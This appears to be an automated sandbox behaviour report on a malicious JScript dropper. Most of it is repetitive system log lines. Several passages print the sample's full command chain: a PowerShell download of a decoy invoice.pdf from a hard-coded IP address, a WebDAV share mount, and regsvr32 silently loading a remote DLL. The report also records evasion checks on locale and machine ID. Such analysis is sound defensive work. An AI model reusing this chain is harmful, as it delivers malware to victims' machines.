Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3944.js.csv");ITextStream.WriteLine(" entry:8145 f:bllgkgrf");ITextStream.WriteLine(" exec:2 f:bllgkgrf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49742

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5073			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4047			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 376	Thread sleep count: 5073 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5172	Thread sleep count: 4047 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5836	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5972	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7920	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5872	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5904	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1370784798.0000019E70B7A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1370784798.0000019E70B18000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2595748595.000002CDC2458000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2594586055.000002CDBCE2B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll	Jump to behavior
